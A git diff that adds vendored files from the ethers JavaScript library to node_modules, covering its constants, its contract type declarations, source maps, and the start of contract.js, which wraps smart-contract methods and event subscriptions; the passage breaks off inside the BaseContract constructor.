+{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/constants/index.ts"],"names":[],"mappings":";AAAA;;;;GAIG;;;AAEH,+CAA6C;AAApC,2GAAA,WAAW,OAAA;AACpB,yCAAuC;AAA9B,qGAAA,QAAQ,OAAA;AACjB,2CAMsB;AALlB,+FAAA,CAAC,OAAA;AACD,yGAAA,WAAW,OAAA;AACX,wGAAA,UAAU,OAAA;AACV,uGAAA,SAAS,OAAA;AACT,uGAAA,SAAS,OAAA;AAEb,2CAA0D;AAAjD,yGAAA,WAAW,OAAA;AAAE,2GAAA,aAAa,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/numbers.d.ts b/node_modules/ethers/lib.commonjs/constants/numbers.d.ts new file mode 100644 index 000000000000..7c84eaa6550d --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/numbers.d.ts @@ -0,0 +1,31 @@ +/** + * A constant for the order N for the secp256k1 curve. + * + * (**i.e.** ``0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141n``) + */ +export declare const N: bigint; +/** + * A constant for the number of wei in a single ether. + * + * (**i.e.** ``1000000000000000000n``) + */ +export declare const WeiPerEther: bigint; +/** + * A constant for the maximum value for a ``uint256``. + * + * (**i.e.** ``0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +export declare const MaxUint256: bigint; +/** + * A constant for the minimum value for an ``int256``. + * + * (**i.e.** ``-8000000000000000000000000000000000000000000000000000000000000000n``) + */ +export declare const MinInt256: bigint; +/** + * A constant for the maximum value for an ``int256``. + * + * (**i.e.** ``0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +export declare const MaxInt256: bigint; +//# sourceMappingURL=numbers.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/numbers.d.ts.map b/node_modules/ethers/lib.commonjs/constants/numbers.d.ts.map new file mode 100644 index 000000000000..6391e1fd0d3f --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/numbers.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"numbers.d.ts","sourceRoot":"","sources":["../../src.ts/constants/numbers.ts"],"names":[],"mappings":"AACA;;;;GAIG;AACH,eAAO,MAAM,CAAC,EAAE,MAAqF,CAAC;AAEtG;;;;GAIG;AACH,eAAO,MAAM,WAAW,EAAE,MAAsC,CAAC;AAEjE;;;;GAIG;AACH,eAAO,MAAM,UAAU,EAAE,MAAqF,CAAC;AAE/G;;;;GAIG;AACH,eAAO,MAAM,SAAS,EAAE,MAAkG,CAAC;AAE3H;;;;GAIG;AACH,eAAO,MAAM,SAAS,EAAE,MAAqF,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/numbers.js b/node_modules/ethers/lib.commonjs/constants/numbers.js new file mode 100644 index 000000000000..2ab9150b2648 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/numbers.js @@ -0,0 +1,34 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.MaxInt256 = exports.MinInt256 = exports.MaxUint256 = exports.WeiPerEther = exports.N = void 0; +/** + * A constant for the order N for the secp256k1 curve. + * + * (**i.e.** ``0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141n``) + */ +exports.N = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); +/** + * A constant for the number of wei in a single ether. + * + * (**i.e.** ``1000000000000000000n``) + */ +exports.WeiPerEther = BigInt("1000000000000000000"); +/** + * A constant for the maximum value for a ``uint256``. + * + * (**i.e.** ``0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +exports.MaxUint256 = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +/** + * A constant for the minimum value for an ``int256``. + * + * (**i.e.** ``-8000000000000000000000000000000000000000000000000000000000000000n``) + */ +exports.MinInt256 = BigInt("0x8000000000000000000000000000000000000000000000000000000000000000") * BigInt(-1); +/** + * A constant for the maximum value for an ``int256``. + * + * (**i.e.** ``0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffn``) + */ +exports.MaxInt256 = BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +//# sourceMappingURL=numbers.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/numbers.js.map b/node_modules/ethers/lib.commonjs/constants/numbers.js.map new file mode 100644 index 000000000000..38d1f6f24737 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/numbers.js.map @@ -0,0 +1 @@ +{"version":3,"file":"numbers.js","sourceRoot":"","sources":["../../src.ts/constants/numbers.ts"],"names":[],"mappings":";;;AACA;;;;GAIG;AACU,QAAA,CAAC,GAAW,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAEtG;;;;GAIG;AACU,QAAA,WAAW,GAAW,MAAM,CAAC,qBAAqB,CAAC,CAAC;AAEjE;;;;GAIG;AACU,QAAA,UAAU,GAAW,MAAM,CAAC,oEAAoE,CAAC,CAAC;AAE/G;;;;GAIG;AACU,QAAA,SAAS,GAAW,MAAM,CAAC,oEAAoE,CAAC,GAAG,MAAM,CAAC,CAAC,CAAC,CAAC,CAAC;AAE3H;;;;GAIG;AACU,QAAA,SAAS,GAAW,MAAM,CAAC,oEAAoE,CAAC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/strings.d.ts b/node_modules/ethers/lib.commonjs/constants/strings.d.ts new file mode 100644 index 000000000000..0ad1c8680eae --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/strings.d.ts @@ -0,0 +1,13 @@ +/** + * A constant for the ether symbol (normalized using NFKC). + * + * (**i.e.** ``"\\u039e"``) + */ +export declare const EtherSymbol: string; +/** + * A constant for the [[link-eip-191]] personal message prefix. + * + * (**i.e.** ``"\\x19Ethereum Signed Message:\\n"``) + */ +export declare const MessagePrefix: string; +//# sourceMappingURL=strings.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/strings.d.ts.map b/node_modules/ethers/lib.commonjs/constants/strings.d.ts.map new file mode 100644 index 000000000000..b911a56b0706 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/strings.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"strings.d.ts","sourceRoot":"","sources":["../../src.ts/constants/strings.ts"],"names":[],"mappings":"AAEA;;;;GAIG;AACH,eAAO,MAAM,WAAW,EAAE,MAAiB,CAAC;AAG5C;;;;GAIG;AACH,eAAO,MAAM,aAAa,EAAE,MAAyC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/strings.js b/node_modules/ethers/lib.commonjs/constants/strings.js new file mode 100644 index 000000000000..78ebe30dde12 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/strings.js @@ -0,0 +1,17 @@ +"use strict"; +// NFKC (composed) // (decomposed) +Object.defineProperty(exports, "__esModule", { value: true }); +exports.MessagePrefix = exports.EtherSymbol = void 0; +/** + * A constant for the ether symbol (normalized using NFKC). + * + * (**i.e.** ``"\\u039e"``) + */ +exports.EtherSymbol = "\u039e"; // "\uD835\uDF63"; +/** + * A constant for the [[link-eip-191]] personal message prefix. + * + * (**i.e.** ``"\\x19Ethereum Signed Message:\\n"``) + */ +exports.MessagePrefix = "\x19Ethereum Signed Message:\n"; +//# sourceMappingURL=strings.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/constants/strings.js.map b/node_modules/ethers/lib.commonjs/constants/strings.js.map new file mode 100644 index 000000000000..52f851ec7796 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/constants/strings.js.map @@ -0,0 +1 @@ +{"version":3,"file":"strings.js","sourceRoot":"","sources":["../../src.ts/constants/strings.ts"],"names":[],"mappings":";AAAA,8CAA8C;;;AAE9C;;;;GAIG;AACU,QAAA,WAAW,GAAW,QAAQ,CAAC,CAAE,kBAAkB;AAGhE;;;;GAIG;AACU,QAAA,aAAa,GAAW,gCAAgC,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/contract.d.ts b/node_modules/ethers/lib.commonjs/contract/contract.d.ts new file mode 100644 index 000000000000..a482a24afccf --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/contract.d.ts @@ -0,0 +1,168 @@ +import { Interface } from "../abi/index.js"; +import { Log, TransactionResponse } from "../providers/provider.js"; +import { ContractTransactionResponse, EventLog } from "./wrappers.js"; +import type { EventFragment, FunctionFragment, InterfaceAbi, ParamType } from "../abi/index.js"; +import type { Addressable } from "../address/index.js"; +import type { EventEmitterable, Listener } from "../utils/index.js"; +import type { BlockTag, ContractRunner } from "../providers/index.js"; +import type { ContractEventName, ContractInterface, ContractMethod, ContractEvent, ContractTransaction, WrappedFallback } from "./types.js"; +/** + * @_ignore: + */ +export declare function copyOverrides(arg: any, allowed?: Array): Promise>; +/** + * @_ignore: + */ +export declare function resolveArgs(_runner: null | ContractRunner, inputs: ReadonlyArray, args: Array): Promise>; +declare const internal: unique symbol; +export declare class BaseContract implements Addressable, EventEmitterable { + /** + * The target to connect to. + * + * This can be an address, ENS name or any [[Addressable]], such as + * another contract. To get the resovled address, use the ``getAddress`` + * method. + */ + readonly target: string | Addressable; + /** + * The contract Interface. + */ + readonly interface: Interface; + /** + * The connected runner. This is generally a [[Provider]] or a + * [[Signer]], which dictates what operations are supported. + * + * For example, a **Contract** connected to a [[Provider]] may + * only execute read-only operations. + */ + readonly runner: null | ContractRunner; + /** + * All the Events available on this contract. + */ + readonly filters: Record; + /** + * @_ignore: + */ + readonly [internal]: any; + /** + * The fallback or receive function if any. + */ + readonly fallback: null | WrappedFallback; + /** + * Creates a new contract connected to %%target%% with the %%abi%% and + * optionally connected to a %%runner%% to perform operations on behalf + * of. + */ + constructor(target: string | Addressable, abi: Interface | InterfaceAbi, runner?: null | ContractRunner, _deployTx?: null | TransactionResponse); + /** + * Return a new Contract instance with the same target and ABI, but + * a different %%runner%%. + */ + connect(runner: null | ContractRunner): BaseContract; + /** + * Return a new Contract instance with the same ABI and runner, but + * a different %%target%%. + */ + attach(target: string | Addressable): BaseContract; + /** + * Return the resolved address of this Contract. + */ + getAddress(): Promise; + /** + * Return the deployed bytecode or null if no bytecode is found. + */ + getDeployedCode(): Promise; + /** + * Resolve to this Contract once the bytecode has been deployed, or + * resolve immediately if already deployed. + */ + waitForDeployment(): Promise; + /** + * Return the transaction used to deploy this contract. + * + * This is only available if this instance was returned from a + * [[ContractFactory]]. + */ + deploymentTransaction(): null | ContractTransactionResponse; + /** + * Return the function for a given name. This is useful when a contract + * method name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getFunction(key: string | FunctionFragment): T; + /** + * Return the event for a given name. This is useful when a contract + * event name conflicts with a JavaScript name such as ``prototype`` or + * when using a Contract programatically. + */ + getEvent(key: string | EventFragment): ContractEvent; + /** + * @_ignore: + */ + queryTransaction(hash: string): Promise>; + /** + * Provide historic access to event data for %%event%% in the range + * %%fromBlock%% (default: ``0``) to %%toBlock%% (default: ``"latest"``) + * inclusive. + */ + queryFilter(event: ContractEventName, fromBlock?: BlockTag, toBlock?: BlockTag): Promise>; + /** + * Add an event %%listener%% for the %%event%%. + */ + on(event: ContractEventName, listener: Listener): Promise; + /** + * Add an event %%listener%% for the %%event%%, but remove the listener + * after it is fired once. + */ + once(event: ContractEventName, listener: Listener): Promise; + /** + * Emit an %%event%% calling all listeners with %%args%%. + * + * Resolves to ``true`` if any listeners were called. + */ + emit(event: ContractEventName, ...args: Array): Promise; + /** + * Resolves to the number of listeners of %%event%% or the total number + * of listeners if unspecified. + */ + listenerCount(event?: ContractEventName): Promise; + /** + * Resolves to the listeners subscribed to %%event%% or all listeners + * if unspecified. + */ + listeners(event?: ContractEventName): Promise>; + /** + * Remove the %%listener%% from the listeners for %%event%% or remove + * all listeners if unspecified. + */ + off(event: ContractEventName, listener?: Listener): Promise; + /** + * Remove all the listeners for %%event%% or remove all listeners if + * unspecified. + */ + removeAllListeners(event?: ContractEventName): Promise; + /** + * Alias for [on]. + */ + addListener(event: ContractEventName, listener: Listener): Promise; + /** + * Alias for [off]. + */ + removeListener(event: ContractEventName, listener: Listener): Promise; + /** + * Create a new Class for the %%abi%%. + */ + static buildClass(abi: Interface | InterfaceAbi): new (target: string, runner?: null | ContractRunner) => BaseContract & Omit; + /** + * Create a new BaseContract with a specified Interface. + */ + static from(target: string, abi: Interface | InterfaceAbi, runner?: null | ContractRunner): BaseContract & Omit; +} +declare const Contract_base: new (target: string | Addressable, abi: Interface | InterfaceAbi, runner?: ContractRunner | null | undefined) => BaseContract & Omit; +/** + * A [[BaseContract]] with no type guards on its methods or events. + */ +export declare class Contract extends Contract_base { +} +export {}; +//# sourceMappingURL=contract.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/contract.d.ts.map b/node_modules/ethers/lib.commonjs/contract/contract.d.ts.map new file mode 100644 index 000000000000..57f47f54c019 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/contract.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"contract.d.ts","sourceRoot":"","sources":["../../src.ts/cont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AAG,YAAY,GAAG,KAAK,MAAM,EAAE,MAAM,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,cAAc,KAAK,YAAY,GAAG,IAAI,CAAC,CAAC,EAAE,MAAM,YAAY,CAAC;IAS3K;;OAEG;IACH,MAAM,CAAC,IAAI,CAAC,CAAC,GAAG,iBAAiB,EAAE,MAAM,EAAE,MAAM,EAAE,GAAG,EAAE,SAAS,GAAG,YAAY,EAAE,MAAM,CAAC,EAAE,IAAI,GAAG,cAAc,GAAG,YAAY,GAAG,IAAI,CAAC,CAAC,EAAE,MAAM,YAAY,CAAC;CAKhK;;AAMD;;GAEG;AACH,qBAAa,QAAS,SAAQ,aAAe;CAAI"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/contract/contract.js b/node_modules/ethers/lib.commonjs/contract/contract.js new file mode 100644 index 000000000000..6f39d387a6bb --- /dev/null +++ b/node_modules/ethers/lib.commonjs/contract/contract.js @@ -0,0 +1,960 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Contract = exports.BaseContract = exports.resolveArgs = exports.copyOverrides = void 0; +const index_js_1 = require("../abi/index.js"); +const index_js_2 = require("../address/index.js"); +// import from provider.ts instead of index.ts to prevent circular dep +// from EtherscanProvider +const provider_js_1 = require("../providers/provider.js"); +const index_js_3 = require("../utils/index.js"); +const wrappers_js_1 = require("./wrappers.js"); +const BN_0 = BigInt(0); +function canCall(value) { + return (value && typeof (value.call) === "function"); +} +function canEstimate(value) { + return (value && typeof (value.estimateGas) === "function"); +} +function canResolve(value) { + return (value && typeof (value.resolveName) === "function"); +} +function canSend(value) { + return (value && typeof (value.sendTransaction) === "function"); +} +function getResolver(value) { + if (value != null) { + if (canResolve(value)) { + return value; + } + if (value.provider) { + return value.provider; + } + } + return undefined; +} +class PreparedTopicFilter { + #filter; + fragment; + constructor(contract, fragment, args) { + (0, index_js_3.defineProperties)(this, { fragment }); + if (fragment.inputs.length < args.length) { + throw new Error("too many arguments"); + } + // Recursively descend into args and resolve any addresses + const runner = getRunner(contract.runner, "resolveName"); + const resolver = canResolve(runner) ? runner : null; + this.#filter = (async function () { + const resolvedArgs = await Promise.all(fragment.inputs.map((param, index) => { + const arg = args[index]; + if (arg == null) { + return null; + } + return param.walkAsync(args[index], (type, value) => { + if (type === "address") { + if (Array.isArray(value)) { + return Promise.all(value.map((v) => (0, index_js_2.resolveAddress)(v, resolver))); + } + return (0, index_js_2.resolveAddress)(value, resolver); + } + return value; + }); + })); + return contract.interface.encodeFilterTopics(fragment, resolvedArgs); + })(); + } + getTopicFilter() { + return this.#filter; + } +} +// A = Arguments passed in as a tuple +// R = The result type of the call (i.e. if only one return type, +// the qualified type, otherwise Result) +// D = The type the default call will return (i.e. R for view/pure, +// TransactionResponse otherwise) +//export interface ContractMethod = Array, R = any, D extends R | ContractTransactionResponse = ContractTransactionResponse> { +function getRunner(value, feature) { + if (value == null) { + return null; + } + if (typeof (value[feature]) === "function") { + return value; + } + if (value.provider && typeof (value.provider[feature]) === "function") { + return value.provider; + } + return null; +} +function getProvider(value) { + if (value == null) { + return null; + } + return value.provider || null; +} +/** + * @_ignore: + */ +async function copyOverrides(arg, allowed) { + // Make sure the overrides passed in are a valid overrides object + const _overrides = index_js_1.Typed.dereference(arg, "overrides"); + (0, index_js_3.assertArgument)(typeof (_overrides) === "object", "invalid overrides parameter", "overrides", arg); + // Create a shallow copy (we'll deep-ify anything needed during normalizing) + const overrides = (0, provider_js_1.copyRequest)(_overrides); + (0, index_js_3.assertArgument)(overrides.to == null || (allowed || []).indexOf("to") >= 0, "cannot override to", "overrides.to", overrides.to); + (0, index_js_3.assertArgument)(overrides.data == null || (allowed || []).indexOf("data") >= 0, "cannot override data", "overrides.data", overrides.data); + // Resolve any from + if (overrides.from) { + overrides.from = overrides.from; + } + return overrides; +} +exports.copyOverrides = copyOverrides; +/** + * @_ignore: + */ +async function resolveArgs(_runner, inputs, args) { + // Recursively descend into args and resolve any addresses + const runner = getRunner(_runner, "resolveName"); + const resolver = canResolve(runner) ? runner : null; + return await Promise.all(inputs.map((param, index) => { + return param.walkAsync(args[index], (type, value) => { + value = index_js_1.Typed.dereference(value, type); + if (type === "address") { + return (0, index_js_2.resolveAddress)(value, resolver); + } + return value; + }); + })); +} +exports.resolveArgs = resolveArgs; +function buildWrappedFallback(contract) { + const populateTransaction = async function (overrides) { + // If an overrides was passed in, copy it and normalize the values + const tx = (await copyOverrides(overrides, ["data"])); + tx.to = await contract.getAddress(); + if (tx.from) { + tx.from = await (0, index_js_2.resolveAddress)(tx.from, getResolver(contract.runner)); + } + const iface = contract.interface; + const noValue = ((0, index_js_3.getBigInt)((tx.value || BN_0), "overrides.value") === BN_0); + const noData = ((tx.data || "0x") === "0x"); + if (iface.fallback && !iface.fallback.payable && iface.receive && !noData && !noValue) { + (0, index_js_3.assertArgument)(false, "cannot send data to receive or send value to non-payable fallback", "overrides", overrides); + } + (0, index_js_3.assertArgument)(iface.fallback || noData, "cannot send data to receive-only contract", "overrides.data", tx.data); + // Only allow payable contracts to set non-zero value + const payable = iface.receive || (iface.fallback && iface.fallback.payable); + (0, index_js_3.assertArgument)(payable || noValue, "cannot send value to non-payable fallback", "overrides.value", tx.value); + // Only allow fallback contracts to set non-empty data + (0, index_js_3.assertArgument)(iface.fallback || noData, "cannot send data to receive-only contract", "overrides.data", tx.data); + return tx; + }; + const staticCall = async function (overrides) { + const runner = getRunner(contract.runner, "call"); + (0, index_js_3.assert)(canCall(runner), "contract runner does not support calling", "UNSUPPORTED_OPERATION", { operation: "call" }); + const tx = await populateTransaction(overrides); + try { + return await runner.call(tx); + } + catch (error) { + if ((0, index_js_3.isCallException)(error) && error.data) { + throw contract.interface.makeError(error.data, tx); + } + throw error; + } + }; + const send = async function (overrides) { + const runner = contract.runner; + (0, index_js_3.assert)(canSend(runner), "contract runner does not support sending transactions", "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); + const tx = await runner.sendTransaction(await populateTransaction(overrides)); + const provider = getProvider(contract.runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + return new wrappers_js_1.ContractTransactionResponse(contract.interface, provider, tx); + }; + const estimateGas = async function (overrides) { + const runner = getRunner(contract.runner, "estimateGas"); + (0, index_js_3.assert)(canEstimate(runner), "contract runner does not support gas estimation", "UNSUPPORTED_OPERATION", { operation: "estimateGas" }); + return await runner.estimateGas(await populateTransaction(overrides)); + }; + const method = async (overrides) => { + return await send(overrides); + }; + (0, index_js_3.defineProperties)(method, { + _contract: contract, + estimateGas, + populateTransaction, + send, staticCall + }); + return method; +} +function buildWrappedMethod(contract, key) { + const getFragment = function (...args) { + const fragment = contract.interface.getFunction(key, args); + (0, index_js_3.assert)(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key, args } + }); + return fragment; + }; + const populateTransaction = async function (...args) { + const fragment = getFragment(...args); + // If an overrides was passed in, copy it and normalize the values + let overrides = {}; + if (fragment.inputs.length + 1 === args.length) { + overrides = await copyOverrides(args.pop()); + if (overrides.from) { + overrides.from = await (0, index_js_2.resolveAddress)(overrides.from, getResolver(contract.runner)); + } + } + if (fragment.inputs.length !== args.length) { + throw new Error("internal error: fragment inputs doesn't match arguments; should not happen"); + } + const resolvedArgs = await resolveArgs(contract.runner, fragment.inputs, args); + return Object.assign({}, overrides, await (0, index_js_3.resolveProperties)({ + to: contract.getAddress(), + data: contract.interface.encodeFunctionData(fragment, resolvedArgs) + })); + }; + const staticCall = async function (...args) { + const result = await staticCallResult(...args); + if (result.length === 1) { + return result[0]; + } + return result; + }; + const send = async function (...args) { + const runner = contract.runner; + (0, index_js_3.assert)(canSend(runner), "contract runner does not support sending transactions", "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); + const tx = await runner.sendTransaction(await populateTransaction(...args)); + const provider = getProvider(contract.runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + return new wrappers_js_1.ContractTransactionResponse(contract.interface, provider, tx); + }; + const estimateGas = async function (...args) { + const runner = getRunner(contract.runner, "estimateGas"); + (0, index_js_3.assert)(canEstimate(runner), "contract runner does not support gas estimation", "UNSUPPORTED_OPERATION", { operation: "estimateGas" }); + return await runner.estimateGas(await populateTransaction(...args)); + }; + const staticCallResult = async function (...args) { + const runner = getRunner(contract.runner, "call"); + (0, index_js_3.assert)(canCall(runner), "contract runner does not support calling", "UNSUPPORTED_OPERATION", { operation: "call" }); + const tx = await populateTransaction(...args); + let result = "0x"; + try { + result = await runner.call(tx); + } + catch (error) { + if ((0, index_js_3.isCallException)(error) && error.data) { + throw contract.interface.makeError(error.data, tx); + } + throw error; + } + const fragment = getFragment(...args); + return contract.interface.decodeFunctionResult(fragment, result); + }; + const method = async (...args) => { + const fragment = getFragment(...args); + if (fragment.constant) { + return await staticCall(...args); + } + return await send(...args); + }; + (0, index_js_3.defineProperties)(method, { + name: contract.interface.getFunctionName(key), + _contract: contract, _key: key, + getFragment, + estimateGas, + populateTransaction, + send, staticCall, staticCallResult, + }); + // Only works on non-ambiguous keys (refined fragment is always non-ambiguous) + Object.defineProperty(method, "fragment", { + configurable: false, + enumerable: true, + get: () => { + const fragment = contract.interface.getFunction(key); + (0, index_js_3.assert)(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key } + }); + return fragment; + } + }); + return method; +} +function buildWrappedEvent(contract, key) { + const getFragment = function (...args) { + const fragment = contract.interface.getEvent(key, args); + (0, index_js_3.assert)(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key, args } + }); + return fragment; + }; + const method = function (...args) { + return new PreparedTopicFilter(contract, getFragment(...args), args); + }; + (0, index_js_3.defineProperties)(method, { + name: contract.interface.getEventName(key), + _contract: contract, _key: key, + getFragment + }); + // Only works on non-ambiguous keys (refined fragment is always non-ambiguous) + Object.defineProperty(method, "fragment", { + configurable: false, + enumerable: true, + get: () => { + const fragment = contract.interface.getEvent(key); + (0, index_js_3.assert)(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key } + }); + return fragment; + } + }); + return method; +} +// The combination of TypeScrype, Private Fields and Proxies makes +// the world go boom; so we hide variables with some trickery keeping +// a symbol attached to each BaseContract which its sub-class (even +// via a Proxy) can reach and use to look up its internal values. +const internal = Symbol.for("_ethersInternal_contract"); +const internalValues = new WeakMap(); +function setInternal(contract, values) { + internalValues.set(contract[internal], values); +} +function getInternal(contract) { + return internalValues.get(contract[internal]); +} +function isDeferred(value) { + return (value && typeof (value) === "object" && ("getTopicFilter" in value) && + (typeof (value.getTopicFilter) === "function") && value.fragment); +} +async function getSubInfo(contract, event) { + let topics; + let fragment = null; + // Convert named events to topicHash and get the fragment for + // events which need deconstructing. + if (Array.isArray(event)) { + const topicHashify = function (name) { + if ((0, index_js_3.isHexString)(name, 32)) { + return name; + } + const fragment = contract.interface.getEvent(name); + (0, index_js_3.assertArgument)(fragment, "unknown fragment", "name", name); + return fragment.topicHash; + }; + // Array of Topics and Names; e.g. `[ "0x1234...89ab", "Transfer(address)" ]` + topics = event.map((e) => { + if (e == null) { + return null; + } + if (Array.isArray(e)) { + return e.map(topicHashify); + } + return topicHashify(e); + }); + } + else if (event === "*") { + topics = [null]; + } + else if (typeof (event) === "string") { + if ((0, index_js_3.isHexString)(event, 32)) { + // Topic Hash + topics = [event]; + } + else { + // Name or Signature; e.g. `"Transfer", `"Transfer(address)"` + fragment = contract.interface.getEvent(event); + (0, index_js_3.assertArgument)(fragment, "unknown fragment", "event", event); + topics = [fragment.topicHash]; + } + } + else if (isDeferred(event)) { + // Deferred Topic Filter; e.g. `contract.filter.Transfer(from)` + topics = await event.getTopicFilter(); + } + else if ("fragment" in event) { + // ContractEvent; e.g. `contract.filter.Transfer` + fragment = event.fragment; + topics = [fragment.topicHash]; + } + else { + (0, index_js_3.assertArgument)(false, "unknown event name", "event", event); + } + // Normalize topics and sort TopicSets + topics = topics.map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + const items = Array.from(new Set(t.map((t) => t.toLowerCase())).values()); + if (items.length === 1) { + return items[0]; + } + items.sort(); + return items; + } + return t.toLowerCase(); + }); + const tag = topics.map((t) => { + if (t == null) { + return "null"; + } + if (Array.isArray(t)) { + return t.join("|"); + } + return t; + }).join("&"); + return { fragment, tag, topics }; +} +async function hasSub(contract, event) { + const { subs } = getInternal(contract); + return subs.get((await getSubInfo(contract, event)).tag) || null; +} +async function getSub(contract, operation, event) { + // Make sure our runner can actually subscribe to events + const provider = getProvider(contract.runner); + (0, index_js_3.assert)(provider, "contract runner does not support subscribing", "UNSUPPORTED_OPERATION", { operation }); + const { fragment, tag, topics } = await getSubInfo(contract, event); + const { addr, subs } = getInternal(contract); + let sub = subs.get(tag); + if (!sub) { + const address = (addr ? addr : contract); + const filter = { address, topics }; + const listener = (log) => { + let foundFragment = fragment; + if (foundFragment == null) { + try { + foundFragment = contract.interface.getEvent(log.topics[0]); + } + catch (error) { } + } + // If fragment is null, we do not deconstruct the args to emit + if (foundFragment) { + const _foundFragment = foundFragment; + const args = fragment ? contract.interface.decodeEventLog(fragment, log.data, log.topics) : []; + emit(contract, event, args, (listener) => { + return new wrappers_js_1.ContractEventPayload(contract, listener, event, _foundFragment, log); + }); + } + else { + emit(contract, event, [], (listener) => { + return new wrappers_js_1.ContractUnknownEventPayload(contract, listener, event, log); + }); + } + }; + let starting = []; + const start = () => { + if (starting.length) { + return; + } + starting.push(provider.on(filter, listener)); + }; + const stop = async () => { + if (starting.length == 0) { + return; + } + let started = starting; + starting = []; + await Promise.all(started); + provider.off(filter, listener); + }; + sub = { tag, listeners: [], start, stop }; + subs.set(tag, sub); + } + return sub; +} +// We use this to ensure one emit resolves before firing the next to +// ensure correct ordering (note this cannot throw and just adds the +// notice to the event queu using setTimeout). +let lastEmit = Promise.resolve(); +async function _emit(contract, event, args, payloadFunc) { + await lastEmit; + const sub = await hasSub(contract, event); + if (!sub) { + return false; + } + const count = sub.listeners.length; + sub.listeners = sub.listeners.filter(({ listener, once }) => { + const passArgs = Array.from(args); + if (payloadFunc) { + passArgs.push(payloadFunc(once ? null : listener)); + } + try { + listener.call(contract, ...passArgs); + } + catch (error) { } + return !once; + }); + if (sub.listeners.length === 0) { + sub.stop(); + getInternal(contract).subs.delete(sub.tag); + } + return (count > 0); +} +async function emit(contract, event, args, payloadFunc) { + try { + await lastEmit; + } + catch (error) { } + const resultPromise = _emit(contract, event, args, payloadFunc); + lastEmit = resultPromise; + return await resultPromise; +} +const passProperties = ["then"]; +class BaseContract { + /** + * The target to connect to. + * + * This can be an address, ENS name or any [[Addressable]], such as + * another contract. To get the resovled address, use the ``getAddress`` + * method. + */ + target; + /** + * The contract Interface. + */ + interface; + /** + * The connected runner. This is generally a [[Provider]] or a + * [[Signer]], which dictates what operations are supported. + * + * For example, a **Contract** connected to a [[Provider]] may + * only execute read-only operations. + */ + runner; + /** + * All the Events available on this contract. + */ + filters; + /** + * @_ignore: + */ + [internal]; + /** + * The fallback or receive function if any. + */ + fallback; + /** + * Creates a new contract connected to %%target%% with the %%abi%% and + * optionally connected to a %%runner%% to perform operations on behalf + * of. + */ + constructor(target, abi, runner, _deployTx) { + (0, index_js_3.assertArgument)(typeof (target) === "string" || (0, index_js_2.isAddressable)(target), "invalid value for Contract target", "target", target); + if (runner == null) { + runner = null; + } + const iface = index_js_1.Interface.from(abi); + (0, index_js_3.defineProperties)(this, { target, runner, interface: iface }); + Object.defineProperty(this, internal, { value: {} }); + let addrPromise; + let addr = null; + let deployTx = null; + if (_deployTx) { + const provider = getProvider(runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + deployTx = new wrappers_js_1.ContractTransactionResponse(this.interface, provider, _deployTx); + } + let subs = new Map(); + // Resolve the target as the address + if (typeof (target) === "string") { + if ((0, index_js_3.isHexString)(target)) { + addr = target; + addrPromise = Promise.resolve(target); + } + else { + const resolver = getRunner(runner, "resolveName"); + if (!canResolve(resolver)) { + throw (0, index_js_3.makeError)("contract runner does not support name resolution", "UNSUPPORTED_OPERATION", { + operation: "resolveName" + }); + } + addrPromise = resolver.resolveName(target).then((addr) => { + if (addr == null) { + throw (0, index_js_3.makeError)("an ENS name used for a contract target must be correctly configured", "UNCONFIGURED_NAME", { + value: target + }); + } + getInternal(this).addr = addr; + return addr; + }); + } + 